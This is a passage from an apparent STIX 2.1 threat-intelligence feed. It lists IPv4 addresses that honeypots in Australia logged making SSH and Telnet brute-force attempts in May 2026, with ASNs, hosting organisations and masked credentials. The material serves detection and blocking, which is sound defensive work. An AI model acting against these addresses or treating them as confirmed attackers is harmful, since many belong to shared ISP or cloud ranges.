      "id": "indicator--14204ec2-cba9-4eae-ae6e-9d83f56c50e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.194.92.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U***************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 210218. Organisation(s): Open Fiber S.P.A..",
      "id": "indicator--b5b585e1-5749-42e3-9cba-b10aea936ada",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.115.208.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T13:15:53.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--042063a5-2147-4207-a0c3-e01e2b9064b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T13:15:53.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.43.128.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T13:15:53.000Z",
      "valid_until": "2026-06-08T13:15:09.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 139415. Organisation(s): PT Trinity Teknologi Nusantara.",
      "id": "indicator--fd1a7133-fbc9-449b-9b7d-82a8cd706538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.125.175.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--0bd65a2d-9e8b-4e9d-8198-8fffed1b3f2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.113.160.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--a7a64001-b817-40b2-856b-556f0d58ebf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.125.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--50b8e87e-09f5-43e8-80c3-78bcec2c0400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.89.145.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 8386. Organisation(s): Vodafone Net Iletisim Hizmetler AS.",
      "id": "indicator--a39f23db-28fa-482a-b11b-7207b4e8b2c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.155.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19318. Organisation(s): Interserver, Inc.",
      "id": "indicator--8e81dc51-d987-484b-bd5c-95eb5017d0ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.45.234.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LV. ASN(s): 20910. Organisation(s): SIA BITE Latvija.",
      "id": "indicator--a3b46cc6-7cd9-4479-8979-acb0b0aac13c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.177.244.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T14:15:10.000Z",
      "valid_until": "2026-06-08T14:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd..",
      "id": "indicator--4ba0cb98-984c-44ce-b167-148cda4a8f79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.5.135.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d6d37558-c942-4364-8aff-bac300f33e43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.24.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): a***n, t**t, u****u, u**r, a*****a. Passwords observed (masked): 1**4, !******x, 0****1, 1*******9, 1********t.",
      "id": "indicator--c7fb7cc3-8b4b-4274-84b2-20e09c683426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.217.16.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 9051. Organisation(s): IncoNet Data Management sal.",
      "id": "indicator--1e390a7e-0183-4968-96b7-03d096d6519f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.192.162.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--560c9030-5503-4362-8d1c-af0a1536df07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.252.238.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--3402a4e8-6740-45e8-97ac-74725bd7e85f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.248.173.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266705. Organisation(s): GABRIEL FRANCISCO ERBETTA Y MARIANO ANDRES CARRIZO RICHELET SOCIEDAD DE HECHO TELNET SOLUCI.",
      "id": "indicator--14634c31-c403-40dc-947a-dff6d02f9fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.229.84.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--3ef55d4c-c0f3-4d0a-9d0d-3887800c8a1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.245.110.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *, ***, 1*******!, 1**4, 1****y.",
      "id": "indicator--bbbaca31-2bf3-4444-b4bf-d8b4b2323cfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.220.60.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom.",
      "id": "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.138.168.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--9ea99e35-63ef-4fc1-90a0-3d672793f7fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.162.19.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--67fac82d-800b-4bc7-ae22-51d4d1db2ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.243.15.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T15:15:10.000Z",
      "valid_until": "2026-06-08T15:15:08.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137095. Organisation(s): Dm Lot Infotech Solutions Private Limited.",
      "id": "indicator--ceeb636b-1d97-4bf8-872d-e371e6215fd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.180.94.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, u****u, ***, d*****r. Passwords observed (masked): 1****1, 1********g, 1******r, 3****4, a*****1.",
      "id": "indicator--fd26dc13-ddb7-446c-9c90-1b2226ff51f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.210.22.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--104e1034-d200-4de8-aa87-a8ad14b33d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cffcba58-4eac-4bfb-aae9-4f3052aa7e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.170.141.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--2e297efa-a4e5-4f16-bd52-cbf92deead2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n. Passwords observed (masked): q******2.",
      "id": "indicator--ba718618-dabf-43e5-a35f-1a9115527a40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.190.89.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n, d*****n, r**t, 3**********4, g***t. Passwords observed (masked): 1****6, 1****d, 3***********4, 3**********4, 6****6.",
      "id": "indicator--3af42a3d-75be-4dc4-a74d-1e1fc3167ff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.212.238.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d..",
      "id": "indicator--56cbcb5e-8b36-4706-88c5-3f7f2e257129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.220.185.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): s*****r. Passwords observed (masked): s*****r.",
      "id": "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.41.173.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268185. Organisation(s): J. C. COMERCIO E SERVICOS DE PROVEDOR DE INTERNET.",
      "id": "indicator--0cf1473a-b209-428a-8f80-d8e8f425e26b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.170.206.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 3258. Organisation(s): xTom Japan Corporation. Usernames observed (masked): a***n, f*******1, k***a, t**t, t*****p. Passwords observed (masked): 1****3, 1****6, 1**z, A****3, P**********3.",
      "id": "indicator--4a1a3b58-5076-4dd4-8a41-7b6938367693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.66.131.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
      "valid_until": "2026-06-08T16:15:09.000Z"
    },
    {
      "created": "2026-05-07T16:16:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 12586. Organisation(s): GHOSTnet GmbH.",
      "id": "indicator--76436c26-e29d-4f61-a063-e3e155a84441",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T16:16:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.230.77.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T16:16:18.000Z",
